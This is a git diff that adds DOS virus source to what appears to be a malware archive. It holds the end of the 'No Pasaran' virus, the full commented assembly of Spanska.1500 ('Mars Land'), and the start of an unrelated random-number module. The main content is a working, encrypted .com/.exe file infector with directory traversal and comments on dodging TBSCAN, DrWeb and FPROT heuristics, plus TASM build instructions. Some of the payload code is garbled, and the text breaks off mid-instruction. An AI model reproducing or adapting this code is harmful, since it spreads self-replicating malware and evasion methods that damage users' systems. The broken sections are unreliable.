;copy the same line to the + rep movsb ;right side of the screen + add di, 30 ;real: start next line (NB: 295+30=320+5) + inc dx ;increment line counter + cmp dx, 79 ;copy 78 lines +jne deux_flammes + +;--------------put text cursor at line 5, column 1---------------------- + +mov dx, 0501h ;dh=line, dl=column +xor bh, bh ;page zero +mov ah,02h ;put cursor to position DH, DL +int 10h ;BIOS screen int + +;--------------------write text message on screen----------------------- + +mov ah, [bp+offset clignote] ;blink counter in ah +inc ah ;increment it +mov [bp+offset clignote], ah ;put it back to its place +cmp ah, 128 ;compare it to 128 (alternance time 50/50) +ja second_message ;inferior => write second message +lea si, [bp+offset message] ;superior => write first message +jmp premier_message ;and avoid second message +second_message: ; +lea si, [bp+offset message2] ;now write second message +premier_message: + +mov cx, 36 ;message lenght + +affiche_message: + lodsb ;load letter in al + mov bl, 254 ;and color in bl (white) + mov ah, 0Eh ; + int 10h ;write this letter on screen +loop affiche_message + + jmp boucle ;return to step "draw focus" + +;-----------random number creation routine (stolen somewhere)-------------- + +random proc near + mov ax, [bp+offset aleat] + mov dx, 8405h + mul dx + inc ax + mov [bp+offset aleat], ax + ret +random endp + +;--------------memory zones of the graphic effect------------------------ + +message db " Remember those who died for Madrid " ;message 1 +message2 db "No Pasaran! Virus v2 by Spanska 1997" ;message 2 +clignote db 00 ;blink counter +aleat dw 0AAh ;random seed + +; +;-------------------memory zones of the virus---------------------------- +; +dir_masque db "*.*",0 ;mask to find subdirectories +file_type db "*.c*",0 ;mask to find file type +dot db "..",0 ;mask to find upper directory +fin_cryptage: ;end of crypting +cinq_octets db 5 dup(90h) ;5 first bytes of host +clef db 0 ;crypt key +; +;--------these temporary memory zones are not written on disk------------ +; +phase db 0 ;to find the good subdirectories +compteur db 0 ;infection counter +handle db 0,0 ;file handle +contenu db 0,0,0,0,0 ;to read 5 first bytes of a file +clef_temp db 0 ;crypt key +dta db 48 dup (0AAh) ;DTA zone +repert db 64 dup (0FFh) ;starting directory +ecran_virtuel db 80*30 dup (00) ;virtual screen +zone_de_travail: ;used to crypt virus + +code ends + end hote + +; ------------------------(c) Spanska 1997------------------------------ diff --git a/MSDOS/Virus.MSDOS.Unknown.Spanska.1500 b/MSDOS/Virus.MSDOS.Unknown.Spanska.1500 new file mode 100644 index 00000000..01943150 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.Spanska.1500 @@ -0,0 +1,1135 @@ +; MARS LAND virus by Spanska +; Called Spanska.1500 by AV people +; This is my third virus +; +;********************************************************************* +; +; THIS VIRUS IS DEDICATED TO... uhhh... nobody this time :) +; +; Or maybe to all the virus coders who do not destruct with +; their creations. I've put the phrase "Coding a virus can +; be creative" to show that an original infection routine, +; a funny payload or a new mutation engine, are far more +; interesting for the coder and for other people than stupid +; destruction. +; I worked some weeks on this virus graphic effect. A simple +; routine to delete a hard drive would have taken me one +; minute to copy/paste it. So, no interest. +; +; Greets to Griyo (best virus coder on this side of the +; galaxy), MrSandman and other guys from 29A (the best group!), +; to Roadkill, Slacker, and friends on IRC (from Luxembourg, +; Spain, Sweden and everywhere), Poltergst and Cicatrix for +; their job on the web. And to the very few french virus +; coders, or even fighters (salut Jean-Luc!). +; +;******************************contact me at el_gato@rocketmail.com*** +; +; At the time it was released (march 97), the detection was: +; TBSCAN flags: c?K on .exe's, nothing on .com's +; FPROT: "ear variant" on unencrypted generation 0, nothing after +; DrSolly Findvirus: nothing +; DrWeb: nothing +; AVP: nothing +; (i saw in newsgroups that a scanner i can't remember flags it +; sometimes like a Whale variant, never happened to me) +; +; generation zero size: 1660 +; virus size: 1500 +; +; compile it with TASM /m2 and TLINK /t +; +; Properties: +; simple .com/.exe runtime infector +; file search routine is essentially derived from my NO PASARAN virus +; not destructive +; encrypted with variable key +; infects 3 .com and 3 .exe each run +; infects current directory, than upper directories +; when it reaches the root, it starts infecting all "level1" subdirectories +; does not infect files <500 bytes, nor command.com +; the VGA graphic bomb (a 3D voxel effect) explodes +; when minutes=30 and seconds<30 (1/120) + +code segment + assume ds:code, ss:code, cs:code, es:code + org 100h +; +;---------------fake host code-------------------- +; +hote: +call virus ;jump to viral code (avoid J flag) +signature db "ee" ;virus signature +nop ; +nop ;fake host +nop ; +nop ; +mov ah, 4ch ;finished +mov al,0 ;go to +int 21h ;DOS + +;********************************************************************** +; START OF VIRAL CODE +;********************************************************************** + +virus: ;virus starts here +; +;-------------in case of an exe, let's work in cs-------------- +; +push ds ;save ds on stack... Don't forget it... + +push cs ;we are in the virus segment +push cs ;so we have to adjust +pop es ;ds and es to point +pop ds ;to this segment +; +;---------------get delta offset---------------------------- +; +call $+3 ;modified classic +delta: ;routine to +mov bp, sp ;avoid flag E +mov ax, [bp] ; +add word ptr [bp], decrypte-delta ;thanks Slacker's Theory +sub ax, offset delta ;of Code through Obscurity! +mov bp, ax +ret + +clef db 0 ;the crypting key + +;=== this stosb === +;=== when outside decrypt loop === +;=== does not flag # === +baise_flag_cryptage: ;=== +stosb ;=========>>> NO MORE FLAG "#" !!!!! +ret ;=== +;=================================== + +; +;----------------------decrypting routine------------------------- +; +decrypte: +mov dl, [bp+offset clef] ;actual key in dl +mov cx, fin_cryptage - debut_cryptage ;number of bytes to decrypt +lea si, [bp+offset debut_cryptage] ;si=start of zone to decrypt +mov di, si ;di=start of zone to decrypt +xor_loop: ;decrypt loop +lodsb ;get byte to decrypt in al +nop ;just here to make a 1500 bytes virus ;) +xor al, dl ;the byte is decrypted with the key +call baise_flag_cryptage ;call the outside stosb (avoid flag #) +loop xor_loop ;finish decryption + +debut_cryptage: ;start of the crypted zone +; +;------transfert of infected file information on another zone--------- +; (for final normal execution of the program) +; +lea si, [bp+offset pip] ;from this zone +lea di, [bp+offset vip] ;to this zone +movsw +movsw ;we transfer 8 bytes +movsw +movsw +; +;---------------initialisation to 0 of directory counter-------------- +; and 2 infection counters (com and exe) +; +lea di, [bp+offset phase] ;they are here +xor ax, ax ;put them to zero +stosw ;(3 counters = 3 bytes) +stosb +; +;--------------------remember current repertory------------------ +; +lea si, [bp+offset repert] ;si on good memory zone +xor dl, dl ;dl=0 is default unit +mov ah, 47h ;47h=current dir in memory +int 21h ;go! +; +;---------------DTA go to a predefined zone in memory------------- +; +push 1a00h ;push/pop to +pop ax ;avoid flag F +lea dx, [bp+offset dta] +int 21h + +;********************************************************************** +; .COM INFECTION +;********************************************************************** +; +;-----------------find first .com file------------------------- +; +recherche: +mov cx, 0007h ;attributes +lea dx, [bp+offset file_com] ;file mask for a .com +mov ax, 4e00h ;4eh=find first file +int 21h ;file found? +jnc sauter_suivant ;yes => c=0, let's continue +jmp infecte_exe ;no => go to .exe infection +; +;---------------------find next .com file------------------------- +; +fichier_suivant: +lea dx, [bp+offset file_com] ; +mov ax, 4f00h ;4Fh=find next file +mov cx, 0007h +int 21h ;file found? +jnc saut5 ;yes => c=0, let's continue +jmp infecte_exe ;no => go to .exe infection +saut5: +; +;---------------verify if extension is really .com--------------------- +; (it's made to avoid flag S with tbscan) +; +sauter_suivant: +call verifie_extension ;call verification routine +cmp word ptr [si], "MO" ;second and third letters are "OM"? +jne fichier_suivant ;no => find next .com file +; +;----------------verify if it's command.com---------------------------- +; +cmp word ptr [bp+offset dta+1eh+2], "MM" ;test 3rd and 4th letter +je fichier_suivant ;yes => find next file +; +;--------------attributes to 0 to infect special files------------- +; +call attrib_a_zero +; +;--------------------open file, and verify header----------------------- +; +call ouvre_et_verif_header + +jmp fichier_suivant ;if header not good (already infected) + ;we get here and search another file + +;if header good we get here on routine return +; +;--------transfer 5 first bytes of the .com to another zone---------- +; +lea si, [bp+offset exehead] +lea di, [bp+offset cinq_octets] +movsw +movsw +movsb +; +;-----------before infection, change of the crypting key----------- +; +call change_clef +; +;------------disk file pointer at the end----------- +; +mov ax, 4202h +xor cx, cx +mov dx, cx +int 21h +; +;-----------------------infection----------------------------------- +; +call infecte +; +;--overwrite 5 first bytes on the disk by jump to virus code + signature--- +; +;1) move disk file pointer to start of the file +; +call pointeur_debut +; +;2) calculate initial jump and write all on a temp zone in memory +; +lea di, [bp+offset cinq_octets] +mov al, 0E8h ;E8=opcode of CALL +stosb +mov ax, word ptr [bp+offset dta+1ah] ;ax=file size +sub ax, 3 ;this is because of the CALL +stosw +mov ax, "ee" ;signature +stosw +; +;3) overwrite 5 first bytes on the file +; +mov cx,5 +lea dx, [bp+offset cinq_octets] +call ecrit_fichier +; +;----------------restore time/date of the file-------------------- +; +call restaure_time +; +;------------close file and restore file attributes-------------------- +; +call remise_en_etat +; +;--------verify how many .com files we have infected------------------ +; +mov byte ptr cl, [bp+offset compteur_com] ;infection counter in cl +inc cl ;one more +cmp cl, 3 ;have we infected 3 .com files? +je infecte_exe ;yes => let's infect .exe now +mov byte ptr [bp+offset compteur_com], cl ;no => write new value of counter +; +;-----------------let's infect a new .com file------------------ +; +jmp fichier_suivant ;go infect next file + +;********************************************************************** +; .EXE INFECTION +;********************************************************************** + +infecte_exe: +; +;------------------find first .exe file------------------------- +; +recherche_exe: +mov cx, 0007h ;attributes +lea dx, [bp+offset file_exe] ;file mask for a .exe +mov ax, 4e00h ;4eh=find first file +int 21h ;file found? +jnc sauter_exe_suivant ;yes => c=0, let's continue +jmp rep_sup ;no => go to upper directory +; +;------------------find next file------------------------- +; +exe_suivant: +lea dx, [bp+offset file_exe] ;file mask for a .exe +mov ax, 4f00h ;4Fh=find next file +mov cx, 0007h ;attributes +int 21h ;file found? +jnc saut_exe ;yes => c=0, let's continue +jmp rep_sup ;no => go to upper direcory +saut_exe: ; +; +;---------------verify if extension is really .com--------------- +; (it's made to avoid flag S with tbscan) +; +sauter_exe_suivant: +call verifie_extension ;call verification routine +cmp word ptr [si], "EX" ;second and third letters are "OM"? +jne exe_suivant ;no => find next .exe file +; +;------------attributes to 0 to infect special files------------- +; +call attrib_a_zero + +call ouvre_et_verif_header +jmp exe_suivant ;if header not good (already infected or + ;windows file) we get here and search + ;another file + +;if header good, we get here +; +;------------verify that it's really a .exe with MZ header---------------- +; +lea si, [bp+offset exehead] +lodsw +add ah, al ;to avoid flag Z +cmp ah, 167 ;(M+Z in ASCII is 167) +jne exe_suivant ;if it's not MZ or ZM, find next .exe file +; +;-----------before infection, change the crypting key----------- +; +call change_clef +; +;----------------save old .exe header values------------------------- +; +lea di, [bp+offset pIP] +mov ax, word ptr [bp+ exehead+14h] ;save IP +stosw +mov ax, word ptr [bp+ exehead+16h] ;save CS +stosw +mov ax, word ptr [bp+ exehead+0Eh] ;save SS +stosw +mov ax, word ptr [bp+ exehead+10h] ;save SP +stosw +; +;---------disk file pointer at the end (return dx:ax = size)--------- +; +mov bx, [bp+offset handle] +mov ax, 4202h +xor cx, cx +xor dx, dx +int 21h + +push ax ;save size on stack +push dx ;useful for next calculations +; +;----------------calculate new cs:ip--------------------------------- +; +push ax +mov ax, word ptr [bp+exehead+08h] +mov cl, 4 +shl ax, cl +mov cx, ax +pop ax +sub ax, cx +sbb dx, 0 + +mov cl, 0Ch +shl dx, cl +mov cl, 4 +push ax +shr ax, cl +add dx, ax +shl ax, cl +pop cx +sub cx, ax + +mov word ptr [bp+ exehead+14h], cx ;new calculated values +mov word ptr [bp+ exehead+16h], dx ;put in the header zone +mov word ptr [bp+ exehead+0Eh], dx ;in memory +mov word ptr [bp+ exehead+10h], 0FFFEh +; +;-----------------calculate new size--------------------------- +; +pop dx +pop ax +push ax +add ax, fin_cryptage-virus +adc dx, 0 +mov cl, 7 +shl dx, cl +mov cl, 9 +shr ax, cl +add ax, dx +inc ax +mov word ptr [bp+ exehead+04h], ax +pop ax +add ax, fin_cryptage-virus +and ah, 1 +mov word ptr [bp+ exehead+02h], ax +; +;-----------------write signature---------------------------------- +; +mov word ptr [bp+exehead+12h], "ee" +; +;--------------------infection--------------------- +; +call infecte +; +;----------write new header of the infected file on disk--------------------- +; +mov ax, 4200h +push ax ;this stupid push/pop +pop ax ;to avoid DrWeb heuristic +xor cx, cx +xor dx, dx +int 21h ;pointer at start of file on disk + +mov cx, 1Ch +lea dx, [bp+exehead] +call ecrit_fichier ;write on disk modified header +; +;----------restore time/date of the file-------------------- +; +call restaure_time +; +;----------close file and restore file attributes---------------------- +; +call remise_en_etat +; +;--------verify how many .exe files we have infected------------------ +; +mov byte ptr cl, [bp+offset compteur_exe] ;counter in cl +inc cl ;one more +cmp cl, 3 ;we infect 3? +je bombe_ou_pas ;yes => let's stop infections +mov byte ptr [bp+offset compteur_exe], cl ;no => write counter +; +;--------let's infect a new .exe file------------------ +; +jmp exe_suivant ;go infect next file +; +;--------------------does the bomb explode?--------------------- +; +bombe_ou_pas: +mov ah, 2Ch ;internal clock: ch=hour et cl=minute +int 21h +cmp cl, 30d ;minutes = 30? +jne redonne_main ;no => return to host +cmp dh, 30d ;yes => test seconds +ja redonne_main ;if secondes > 30 we return to host +jmp bombe ;if seconds <30 (1/120) the bomb explodes + +;********************************************************************** +; RETURN TO HOST +;********************************************************************** + +redonne_main: + +;------------------DTA in the normal zone----------------------------- +; (to avoid perturbing host program) +; +push 1a00h ;push/pop +pop ax ;to avoid flag F +mov dx, 80h ;to 80h, the normal zone +int 21h +; +;--------restore the directory in which we were when we started----------- +; +lea dx, [bp+offset repert] +mov ax, 3B00h ;3bh=change directory +int 21h +; +;-----------active host is a .com or a .exe?------------------- +; +cmp byte ptr cs:0, 0CDh ;a .com file have an Int20h +je redonne_main_com ;(word CD 20) at offset 0 +; +;-------------return to an .exe--------------------------- +; +redonne_main_exe: + +pop ds ;remember the very first push ds +push ds +pop es ;get es=ds + +mov ax, es +add ax, 10h +add word ptr cs:[bp+vCS], ax +cli +add ax, word ptr cs:[bp+vSS] ;adjust stack pointers +mov ss, ax +mov sp, word ptr cs:[bp+vSP] +sti +jmp retour_au_prog + +cinq_octets: +pip db 90h,90h ;zone to keep file information +pcs db 90h,90h ;EXE: keep ip, cs, ss, sp +pss db 90h,90h ;COM: keep 5 first bytes +psp db 90h,90h + +retour_au_prog: +db 0EAh ;far jump opcode, for .exe +contenu: +vIP dw 0 ;zone to keep temporarly file info +vCS dw 0 ;EXE: keep ip, cs, ss, sp +vSS dw 0 ;COM: keep 5 first bytes +vSP dw 0 +; +;-----------------------return to a .com--------------------------- +; +redonne_main_com: +pop ax ;clean stack (remember first push ds) +; +;---------replace 5 first bytes of the host in memory---------- +; +lea si, [bp+offset contenu] ;memory zone where they are +mov ax, 101h ;this is to +dec ax ;avoid flag B in TBSCAN +mov di, ax ;a .com start at offset 100h +movsw +movsw +movsb ;move 5 bytes +; +;-----------------------return to host---------------------------- +; (remember the very first CALL: we have 103h on the stack) +; +redonner_la_main: +pop ax ;get 103h +sub ax, 3 ;we want 100h +push ax ;re-put it on stack (for the RET) +xor ax, ax ;a starting program +xor bx, bx ;likes to find all +xor cx, cx ;registers equals +xor dx, dx ;to zero +ret ;return to normal program + +;********************************************************************** +; CHANGE DIRECTORY +;********************************************************************** + +; +;----------climb to upper directory-------------------------- +; +rep_sup: +lea dx, [bp+offset dot] ;let's go to ".." repertory +mov ah, 3bh +int 21h ;are we in the root? +jc on_redescend ;yes => c=1, let's go down now +jmp recherche ;no => find first file +; +;---if we are in root, let's go to all "first-level" subdirectories------- +; +on_redescend: +mov ah, 4eh ;find first file +mov cx, 16 ;with directory attribute +lea dx, [bp+offset dir_masque] ;called "*.*" +int 21h ;one found? +jnc contin ;yes => continue +jmp bombe_ou_pas ;no => test time for the bomb +contin: + +cmp byte ptr[bp+offset phase], 0 ;how is the dir counter (called phase)? +je le_premier ;phase=0 => do not find next dir + +xor bh, bh +mov bl, byte ptr [bp+offset phase] ;bx=phase + +rep_suivant: ;loop to avoid all subdir already infected +mov cx, 16 ;directory attributes +mov ah, 4fh ;find next dir +int 21h ;one found? +jnc contin2 ;yes => continue +jmp bombe_ou_pas ;no => test time for the bomb +contin2: + +cmp byte ptr [bp+offset dta+15h], 16 ;is it really a directory? +jne rep_suivant ;no => find next + +dec bx ;this routine is made to infect +cmp bx, 0 ;directory "number phase" +jne rep_suivant ;if bx<>0, the subdir is already infected + +le_premier: +add byte ptr[bp+offset phase], 1 ;OK, we are on a subdir not infected + +lea dx, [bp+offset dta+1eh] ;so, let's change +mov ah, 3bh ;directory to it +int 21h + +jmp recherche ;and infect this new subdirectory + +;********************************************************************** +; ROUTINE OFTEN USED (to save bytes) +;********************************************************************** + +;-------------------verify extension------------------------- + +verifie_extension: +mov cx, 13d ;max size of a file name (not really, but +lea si, [bp+offset dta+1eh] ;who cares? I've stolen this routine somewhere) +compare: ;loop for detecting start of the extension +lodsb ;letter in al +cmp al, "." ;is it a point? +jne compare ;no => test next letter +inc si ;yes => si points on second extension letter +ret + +;------------------change crypting key--------------- + +change_clef: +mov ah, 2Ch ;internal clock +int 21h ;cx get quite randomic +mov [bp+offset clef], cl ;let's keep it somewhere +ret + +;------------------------open file------------------------- + +ouvre_et_verif_header: +mov ax, 3D02h ;3D02h=open file +lea dx, [bp+offset dta+1eh] ;name of the file in DTA +int 21h +jnc saut2 ;one file found, c=0, continue +jmp remise_en_etat ;not found => arrange file +saut2: ;continue +mov [bp+offset handle],ax ;keep handle in memory +; +;----------------read first 1Ch bytes of the file----------------- +; +xchg ax, bx ;handle in ax +mov cx, 1Ch ;number of bytes to read +mov ax, 3F00h ;3F=read file +lea dx, [bp+offset exehead] ;dx on stockage zone +int 21h +jnc saut3 ;no problem, c=0, continue +jmp remise_en_etat ;problem => arrange file +saut3: ; continue +; +;-----------is the file already infected?------------- +; +cmp byte ptr [bp+offset exehead+18h], 40h ;is it a windows file? +jz deja_infecte ;yes => don't touch +cmp word ptr [bp+offset exehead+3], "ee" ;.com already infected? +jz deja_infecte ;yes => don't touch +cmp word ptr [bp+offset exehead+12h], "ee" ;.exe already infected? +jnz saut4 ;no => continue +deja_infecte: +jmp remise_en_etat ;let's arrange the file +saut4: ;continue +; +;--------------------is the size correct?------------------- +; +cmp [bp+offset dta+1ah], 500 ;do not infect if file<500 bytes +ja verif_ok ;it's OK +; +;--------arrange file and close it in case of non-infection----------- +; +remise_en_etat: +mov ah, 3Eh ;3Eh=close file +int 21h +; +;-----------------restore file attributes----------------------- +; +call restaure_attrib ;restore attributes +; +;------after arranging the file, let's go back to the CALL------- +; +ret +; +;----------------------if it's good to infect,------------------- +; let's go back one instruction after the call +; +verif_ok: +pop ax ;get offset of the return on the stack +add ax, 2 ;add 2 (size of a short JMP) +push ax ;put it back on the stack +ret ;return 2 bytes after the call + +;-----------------------------infection-------------------------- + +;first, let's write non-encrypted part + +infecte: +mov cx, debut_cryptage - virus ;size of non-encrypted part +lea dx, [bp+offset virus] ;dx on beginning of this part +call ecrit_fichier ;write this on disk + +;second, let's crypt next part in memory + +mov dl, [bp+offset clef] ;dl=new key +lea si, [bp+offset debut_cryptage] ;si=start of crypted zone +lea di, [bp+offset zone_de_travail] ;di=temp memory zone for crypting +mov cx, fin_cryptage - debut_cryptage ;cx=number of bytes to crypt +crypte_et_transfere: ;the loop +lodsb ;get original byte +xor al, dl ;crypt it +stosb ;put it on memory +loop crypte_et_transfere ;again + +;third, disk writing of the crypted zone + +mov cx, fin_cryptage - debut_cryptage ;number of bytes to write +lea dx, [bp+offset zone_de_travail] ;dx=offset of the temp zone +call ecrit_fichier ;write it on disk +ret + +;-------------------modify attributes------------------------- + +attrib_a_zero: +xor cx, cx ;if we want to put attrib to zero +jmp suite_attrib + +restaure_attrib: +xor ch, ch ;if we want to restore attrib +mov cl, byte ptr [bp+offset dta+15h] ;from the DTA value + +suite_attrib: +lea dx, [bp+offset dta+1eh] ;file name +push 4301h ;43h=change attribs +pop ax ;avoid flag F from TBSCAN +int 21h +ret + +;---------------------restore file time/date----------------------- + +restaure_time: +mov dx, word ptr [bp+offset dta+18h] ;date from DTA to dx +mov cx, word ptr [bp+offset dta+16h] ;time from DTA to cx +push 5701h ;5701h=change time/date +pop ax ;avoid flag F from TBSCAN +int 21h +ret + +;------------------write file on disk---------------------- + +ecrit_fichier: +push 4000h ;the famous 40Hex... push/pop to +pop ax ;avoid DrSolomon and DrWeb heuristic +int 21h +ret + +;--------------------move pointer on disk--------------------------- + +pointeur_debut: ;to put pointer at the beginning +xor dx, dx +pointeur_debut_sans_dx: ;i think i don't use this... never mind +xor cx, cx +mov ax, 4200h ;42h=move disk pointer +push ax ;stupid push/pop to avoid +pop ax ;DrWeb heuristic +int 21h +ret + +;********************************************************************** +; CODE OF THE GRAPHIC BOMB: A 3D VOXEL EFFECT +;********************************************************************** +bombe: +largeur equ 128 ;size of the grid + +;-------------------------VGA------------------------------- + +mov ax, 13h +int 10h + +;----------------------black palette-------------------------------- +; because mountains are calculated directly on screen) + +mov dx, 3c8h ;dx = palette port +xor al, al ;start with color 0 +out dx, al ;write first color in the port +inc dx ;define all others colors +mov cx, 768 ;256 colors x 3 composantes, all at zero +tout_noir: +out dx, al ;write black on port +loop tout_noir + +;---------draw to an area of the screen some big blocks---------- +; area used: 50 lines x 128 columns on the left top + +mov ax, 0A000h ;video memory +mov es, ax ;in es +mov cx, 150 ;number of blocks +boucle: + mov ax, [bp+offset aleat] + mov dx, 8405h ;semi-random routine stolen + mul dx ;in a fire demo + inc ax ;give a random dx + mov [bp+offset aleat], ax +push dx ;dl = random byte for the line +shr dl, 1 ;now 041 +ja pas_pixel ;we don't draw it +cmp dl, 5 ;if dl<5 +jb pas_pixel ;we don't draw it +mov ax, 320 ;calculation of video offset +xor dh, dh ;we have to multiply just dl +mul dx ;by 320 +pop dx ;dh = random byte for the column +cmp dh, 112 ;if dh>112 +ja pas_pixel ;we don't draw it +cmp dh, 8 ;if dh<8 +jb pas_pixel ;we don't draw it +xor dl, dl ;we have to multiply just dh +xchg dl, dh ;we put it in dl +add ax, dx ;let's add line*320 and column => random place +xchg di, ax ;this random offset in di +mov al, 255 ;big blocks are in color 255 +push cx ;save loop counter +mov bl, 4 ;blocks are 4 pixels tall +gros_pixel: +mov cx, 10 ;blocks are 10 pixels wide +rep stosb ;write them on screen... +add di, 310 +dec bl +jne gros_pixel +pop cx +pas_pixel: +loop boucle + +;-----soften blocks to get mountains, by a immobile fire effect---------- + +;here es=video +mov ax, cs ;get cs +add ah, 16 ;add to it 256*16 bytes to get ds +mov ds, ax ;ds now points on a free segment (i hope so :) +push ds ;on the stack (cf [@@] later) + +mov bl, 25 ;bl = number of degradation cycles +cycle: +xor si, si ;ds:si=free segment +xor di, di ;es:di=video +xor ax, ax +mov cx, 50*320 ;we degrade on 50 first lines of the screen +degrade: +mov al, es:[di-1] +add al, es:[di+1] +adc ah,0 +add al, es:[di+320] ;sum all pixels colors around offset di +adc ah,0 +add al, es:[di-320] +adc ah,0 +shr ax, 1 +shr ax, 1 ;divide this color by 4, so it's the average +je pas_dec ;if color=0, color stays to 0 +dec al ;on other case, we decrement color +pas_dec: +mov byte ptr ds:[si], al ;new color value in free segment +inc si +inc di +loop degrade ;loop for all the 50x128 area + +xor si, si ;one degradation cycle finished: +xor di, di ;we copy all the area +mov cx, (50*320)/2 ;from the free segment +rep movsw ;to video memory + +dec bl ;one cycle more +jne cycle ;25 cycles? No => again + + ;we now have on the screen (but we can't see it + ;because all is black) soft spots, this is the + ;landscape in 2D + +;--------------creation of the 3D table (x,y,z)------------------------ +; from the 2D landscape on screen; this table is +; 128x50x(1+1+2) = 25 Ko, this is why we need one free segment + +;here es=video ds=free segment +push es ;we want ds=video et es=free segment +push ds +pop es +pop ds + +mov cx, largeur*50+2 ;there will be 128x50 coordinates (+2 for security) +xor si, si ;start of video memory +xor di, di ;start of free segment +mov dl, 128 ;we need a line counter +table: + +mov ah, dl ;the X (left/right): between 0 and 128 +shl ah, 1 ;now between 0 and 256 +mov al, 128 +sub al, ah ;now between -128 and +128 +stosb ;put it on free segment + +movsb ;the Y (top/bottom) is directly the pixel color +dec dl ;see if we are at the end of the line +jne pas_fin_de_ligne ;if dl<>0 we are not +mov dl, 128 ;if dl=0 the line counter is re-put to 128 +add si, 320-largeur ;and the video offset go to next line +pas_fin_de_ligne: + +mov ax, cx ;the Z (near/far): between 0 and 50*128 +shl ax, 1 ;now between 0 and 50*256 +xor al, al ;we just need ah (between 0 and 50) +xchg ah, al ;put it on al +shl al, 1 ;now between 0 and 100 +shl al, 1 ;now between 0 and 200 +add ax, 0080h ;now between 128 and 328 (nearest Z will be 128) +stosw ;put it on free segment +loop table ;calculate all table + +;------------------delete the 2D landscape------------------------ + +;here ds=video es=free segment +push ds +pop es +xor di, di ;from the beginning of screen +mov cx, (320*50)/2 ;delete all the 50 lines +xor ax, ax ;with words=0, faster than bytes +rep stosw ;delete all + +;---------put text cursor at good coordinates on screen----------------- + +mov dx, 030Ah ;dh, dl = line/column coordinates +xor bh, bh ;on page 0 +mov ah,02h ;int BIOS 02h=put cursor +int 10h + +;--------------write the 2 text messages------------------------- + +;ici ds=es=video +push cs +pop ds +lea si, [bp+offset message] ;si points on message +mov cx, 21 ;message length +affiche_message: + lodsb ;get letter + mov bl, 125 ;color=red + mov ah, 0Eh ;int BIOS OEh=write one letter + int 10h +loop affiche_message + +add dx, 507 ;adjust coordinates for second message +mov ah, 02h ;int BIOS 02h=put cursor +int 10h +lea si, [bp+offset messag2] ;si points on message +mov cx, 32 ;message length +affiche_messag2: + lodsb ;get letter + mov bl, 50 ;color=yellow + mov ah, 0Eh ;int BIOS OEh=write one letter + int 10h +loop affiche_messag2 + +;------------------adjust martian palette---------------------------- + + mov dx, 3c8h ;dx = palette port + xor al, al ;start with color 0 + out dx, al ;write first color in port + inc dx ;define all other colors + + xor cx, cx ;starts with black +rouges: + mov al, cl + out dx, al ;loop to define all 63 first colors + xor ax, ax ;with a growing red + out dx, al + out dx, al +inc cl +cmp cl, 63 +jne rouges + + xor cx, cx +jaunes: + mov al, 63 + out dx, al + mov al, cl ;loop to define 63 next colors + out dx, al ;with a growing green + xor al, al + out dx, al + inc cx + cmp cx, 63 +jne jaunes + + +;-------------------animation of the landscape------------------------ + +;here ds=cs, es=video +pop ds ;ds points to free segment [@@] see above +anime: ;get here when one screen is totally drawn +mov cx, largeur*50 ;we will draw 50x128 voxels +xor si, si ;ds:si=where 3D coordinates are (free seg) +xor di, di ;es:di=video +dessine: ;get here when one voxel is drawn +lodsb ;put X in al +xchg dl, al ;transfer it in dl +lodsb ;put Y in al +xchg bl, al ;transfer it in bl +mov byte ptr bh, ds:[si+3+4] ;put NEXT_Y (for the shadow effect) in bh +lodsw ;put Z in ax +mov word ptr cs:[bp+offset z], ax ;not enough registers: put Z in memory +cmp ax, 0080h ;is the voxel at the nearest limit? +ja ca_sort_pas ;no => it can advance more +add ax, 200 ;yes => return at the farest limit +ca_sort_pas: +dec ax ;it advances: the Z decrements +mov word ptr ds:[si-2], ax ;and we write this new Z as new coordinate + +;------calculate xx and yy (2D screen) from x, y and z (3D space)------ +; by a perspective effect +; (remember: X is in dl, Y in bl, Z in its memory location) + +push cx ;we will need cx here, so save it on stack +xchg ah, dl ;X coordinate from dl to ah +cmp ah, 128 ;X positive? +jb suite5 ;yes => no problem +neg ah ;no => let's "positive" it +mov byte ptr cs:[bp+offset signe],1 ;and let's remember it was negative +suite5: ;NB: calculations are in "fixed point" mode +xor al, al ;X is in ah: same "order" than Z (word) +xor dx, dx ;dx will not fuck up the division +div word ptr cs:[bp+offset z] ;X/Z +push ax ;result is the 2D coordinate (XX), push it + +mov al, bl ;Y coordinate from bl to al +mov cl, 4 ;divise Y/16 to have a mountain height +shr al, cl ;between 0 and 16 +mov ah, 80 ;beware: mountains are "top on bottom" +sub ah, al ;level 0 = altitude 80, so soustraction + ;('cause in VGA 0,0 = top left) +xor al, al ;"fixed point" mode: Y is now in ah +xor dx, dx ;dx will not fuck up the division +div word ptr cs:[bp+offset z] ;Y/Z +xchg cx, ax ;the result is the 2D coordinate (YY) + +;---------------calculate video offset of the voxel------------------- +; (remember: XX is on stack and YY is in CX) + +pop dx ;get XX +cmp cx, 142 ;do not write voxel if too at bottom +ja pas_plot +cmp dx, 155 ;do not write voxel if too on the side +ja pas_plot + +push dx ;put again XX on stack +mov ax, 320 ;we gonna calculate voxel video offset +mul cx ;multiply YY by 320 +pop dx ;get XX +cmp byte ptr cs:[bp+offset signe], 1 ;are X and so XX negatives? +jne pos +sub ax, dx ;yes => offset is ax - XX +mov byte ptr cs:[bp+offset signe], 0 ;and we can forget this sign now +jmp suite4 +pos: +add ax, dx ;no => offset is ax + XX + +suite4: +add ax, (320*60)+160 ;to put the animation at screen bottom + +;--------calculate voxel color (with 2 shadow effects)------------------ + +;first shadow effect, depends on curvature of mountain sides + +mov di, ax ;ax is video offset of the voxel +xchg ax, bx ;remember: bx contains Y et NEXT_Y +sub al, ah ;shadow will depend on NEXT_Y - Y; can +add al, 100 ;be >0 (one side of the mountain) + ;or <0 (other side), so add an + ;average value + +;if voxel is too far, put it black + +mov word ptr bx, cs:[bp+offset z] ;now bx=Z (remember 128 OK, write it +xor al, al ;yes => write a black voxel instead +pas_eteindre: + +;second shadow effect: the farest, the darkest + +shr bx, 1 ;now 64 + +; Version 1.01 (26-10-91) +; (C) 1991 CrazySoft, Inc. + + .model tiny + .code + + public rnd_init, rnd_get, rnd_buf, data_top + +rnd_init: + push ds si dx cx bx + xor ah,ah + int 1ah + in al,[40h] + mov ah,al + in al,[40h] + xor ax,cx + xor dx,ax + push cs + pop ds + mov si,offset rnd_buf + xor bh,bh + jmp short rnd_put +rnd_get: + push ds si dx cx bx + push cs + pop ds + mov si,offset rnd_buf + mov bl,[si] + xor bh,bh + mov ax,[bx+si+2] + mov dx,[bx+si+4] + add byte ptr [si],4 + mov cx,7 +rnd_lup: + shl ax,1 + rcl dx,1 + mov bl,al + xor bl,dh + jns nxt_bit + inc al +nxt_bit: + loop rnd_lup +rnd_put: + mov 